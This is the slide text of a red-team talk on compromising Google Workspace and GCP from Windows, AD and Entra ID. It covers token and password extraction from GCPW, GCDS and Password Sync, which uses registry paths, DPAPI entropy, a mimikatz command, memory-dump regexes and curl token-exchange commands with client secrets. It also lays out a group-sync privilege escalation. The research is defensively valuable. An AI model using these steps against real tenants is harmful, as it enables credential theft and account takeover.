SPECTEROPS

Compromising Workspace from Windows, AD & EntraID

Carlos Polop

Carlos Polop

- Principal Off-Chain Security Team Lead at Halborn.
- Pentester/Red Teamer. Several certifications.
- Co-Founder Hacktricks Training
- Captain of the Spanish team in ECSC2021, member of Team Europe in ICSC2022 and trainer for ICSC2024 & 25
- Creator of Hacktricks & PEASS-ng.

GCPW - Google Credential Provider for Windows

Login into your Windows PC with your Workspace credentials

- Windows single sign-on with Workspace
- Fingerprint:
  - `gcpw_extension.exe` running
  - `HKLM:\SOFTWARE\Google\GCPW\Users`
  - `HKCU:\SOFTWARE\Google\Accounts`
  - `C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse`
- Language: C++ (Chromium)

GCPW - Google Credential Provider for Windows

Login into your Windows PC with your Workspace credentials

- Get encrypted refresh tokens from the registry
  - `HKCU:\SOFTWARE\Google\Accounts`
  - Decrypt using DPAPI
  - If not there → Delete `HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th` → User will be asked to re-login and token will be stored
  - Integrated in Winpeas
- Get encrypted refresh tokens from the disk
  - `%LocalAppData%\Google\Chrome\User Data\Default\Web Data`
  - Key in: `%LocalAppData%\Google\Chrome\User Data\Local State`
  - Integrated in Winpeas
- Get refresh and access tokens from Chrome memory
  - Dump chrome.exe processes and search for regexes:
    - `"ya29\.[a-zA-Z0-9_\.\-]{50,}",`
    - `"1//[a-zA-Z0-9_\.\-]{50,}"`

GCPW - Google Credential Provider for Windows

Login into your Windows PC with your Workspace credentials

- Recover clear-text password
  - Dump encrypted password from LSASS:
    - `mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets exit`
  - Ask Google for the private key to decrypt the password in https://devicepasswordescrowforwindows-pa.googleapis.com/v1/getprivatekey/{resource_id}

```
Secret  : Chrome-GCPW-S-1-5-21-1278643382-2119488581-3175993625-1004
cur/text: {"encrypted_password":"m4dM8dKrkg2/71H9yrHSrfqcfquy8IWeBYjSkF5OGx6yEJ3rhhrW5L
LIXbdDJRc2l4SIi3bdd8sZRJso3En6dQ9WDC5sZEY65D5+dvAYIdMnVYojbh56846KdEsYqEzk1deIQ2QTpRDKy
VhrEEPNUWTHoP9iqet3gDT6Ty3dG2QHmWf12b+mQa+haN2+1f6mo6of4cPOQIUnxA7dNOxGfg0ObUcfhs1YoUjS
m5k4WyyF29h+9yGEvkqunInfwkj9jyXg5w5qwDQ2Dal7rc56A7V+Vjxiw7PWB4kaHRE/vBpwlv8RO/tBby+sQWY
VMI/WriAGuJp1EyZuEhYtxMk4WIHJl9mN374ppJG2PS0Jf8l+","resource_id":"Cgw0ODczNTc2MDk5NTQSJ
NiOWM2MTg1YmRmNA=="}
```

- More info:
  - https://www.youtube.com/watch?v=FEQxHRRP_5I
  - https://github.com/chromium/chromium/blob/c4920cc4fcae6defb75dc08a3b774a9bc3172c47/chrome/credential_provider/gaiacp/password_recovery_manager.cc

GCPW - Google Credential Provider for Windows

Login into your Windows PC with your Workspace credentials

- Token scopes?
  - Several so interesting
  - Most interesting:
    - List Workspaces directory & create users, access Google Drive, spreadsheets, vault, cloud storage… even “https://www.googleapis.com/auth/any-api” (?)

Generate access token:

```
curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
    --data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \
    --data "grant_type=refresh_token" \
    --data
"refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMe
ANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
    https://www.googleapis.com/oauth2/v4/token
```

GCDS - Google Cloud Directory Sync

Sync users & groups from AD to Workspace

- Fingerprint:
  - `C:\Program Files\Google Cloud Directory Sync\config-manager.exe`
  - `HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`
    - `open.recent` → Configurations files with AD password & refresh tokens (encrypted)
  - `HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`
- Language: Java

GCDS - Google Cloud Directory Sync

Sync users & groups from AD to Workspace

- Tokens
  - Get encrypted password and token from config XML file
  - Get IV and password from the registry: `HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util` (wherever the prefs Java library store the preferences) in the string keys `/Encryption/Policy/V2.iv` and `/Encryption/Policy/V2.key` stored in base64.
  - Integrated in Winpeas (almost…)
- Dump `config-manager.exe` processes, extract strings and check regexes:
  - Access tokens: `ya29\.[a-zA-Z0-9_\.\-]{50,}`
  - Refresh tokens: `1//[a-zA-Z0-9_\.\-]{50,}`

GCDS - Google Cloud Directory Sync

Sync users & groups from AD to Workspace

- Token scopes?
  - Control users & groups → Create user, change passwords, add users into groups…
  - Default Workspace groups with admin access over GCP
  - Workspace user needs to be admin

Generate access token:

```
curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
    --data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
    --data "grant_type=refresh_token" \
    --data
"refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeA
NHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
    https://www.googleapis.com/oauth2/v4/token
```

GPS - Google Password Sync

Sync users passwords from AD to Workspace

- Fingerprint:
  - `C:\Program Files\Google\Password Sync`
  - `password_sync_service.exe` running
  - `C:\ProgramData\Google\Google Apps Password Sync\config.xml`
  - `HKLM\Software\Google\Google Apps Password Sync`
    - `ADPassword`
    - `AuthToken`
- Language: Go
- Configuration:
  - If no GUI → Configure a Service Account with permissions to manage Workspace
    - SA Credentials won't expire
    - If the SA project is compromised, the SA is compromised → All Workspaces & GCP is compromised. (Creds stored encrypted like the `AuthToken` in the registry).

GPS - Google Password Sync

Sync users passwords from AD to Workspace

- Google Tokens
  - Get encrypted password and token from registry
    - `HKLM\Software\Google\Google Apps Password Sync`
  - Decrypt them with DPAPI using reversed entropy bytes
    - ADPassword → `entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`
    - AuthToken → `entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`
  - Decode base32hex the token and extract access and refresh token from it
  - Integrated in Winpeas
- Dump `password_sync_service.exe` processes, extract strings and check regexes:
  - Access tokens: `ya29\.[a-zA-Z0-9_\.\-]{50,}`
  - Refresh tokens: `1//[a-zA-Z0-9_\.\-]{50,}`

GPS - Google Password Sync

Sync users passwords from AD to Workspace

- Token scopes?
  - Control users → Change passwords
  - Workspace user needs to be admin

Generate access token:

```
curl -s --data
"client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
    --data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
    --data "grant_type=refresh_token" \
    --data
"refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9m
qkBx79LjKOdskVrRDGgvzSCJY78" \
    https://www.googleapis.com/oauth2/v4/token
```

Admin Directory Sync

Sync users & groups from AD and EntraID to Workspace

- Configurable from https://admin.google.com/ac/sync/externaldirectories
- AD Configuration:
  - Give access to Google to your AD network via a GCP connector in a GCP network (need to use Cloud VPN or Cloud Interconnect) for on-premise.
  - Give AD credentials
  - Select users & groups to synchronize
  - Broken when I tried…
- EntraID Configuration:
  - Login via OAuth to EntraID
  - Select users & groups to synchronize
  - Other configs:
    - Send email to newly created users
    - Automatically change domain names from EntraID users & groups to the Workspace one
    - Possible to synchronize ALL groups

Admin Directory Sync

Sync users & groups from AD and EntraID to Workspace

- Groups Sync Privilege Escalation
  - If ALL groups are synchronized
  - If Workspace domain is used when synchronizing from Entra ID
  - If default groups were created in Workspace with default GCP permissions
    i. `organization-admins@<workspace.domain>` has high GCP privileges
  - **Attack**:
    i. Create Entra ID group `gcp-organization-admins@<entraid.domain>`
    ii. Add Entra ID user to this group
    iii. When synced: The user in Workspace will be added into `gcp-organization-admins@<workspace.domain>` getting admin access over GCP

BONUS: GCPPEASS

GCPPEASS

Find your GCP permissions

- Github: https://github.com/carlospolop/cloudpeass
- Given an access token, brute-force the permissions the principal has over the org, folders, projects and VMs, SAs, Storage & Functions inside each project
  - Usually permissions are given at project level
- No log is generated → Accepted by Google in Feb 2024 but still not fixed
- Moreover: If the access token has gmail and/or drive permissions, GCPPEASS will list some emails and files

SPECTEROPS

Thank you!
Questions?

John Doe | name@specterops.com